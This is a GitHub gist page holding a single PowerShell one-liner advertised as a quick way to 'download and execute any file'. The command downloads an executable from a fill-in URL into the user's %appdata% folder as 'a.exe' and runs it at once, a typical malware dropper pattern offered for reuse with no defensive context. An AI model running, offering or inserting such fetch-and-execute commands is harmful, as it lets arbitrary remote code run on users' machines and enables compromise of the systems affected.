Skip to content

Instantly share code, notes, and snippets.

@henriksb
Created October 26, 2018 20:01
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save henriksb/ae1510b3ed805893814e811d315eddeb to your computer and use it in GitHub Desktop.
Save henriksb/ae1510b3ed805893814e811d315eddeb to your computer and use it in GitHub Desktop.
Quick one-liner to download and execute any file
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment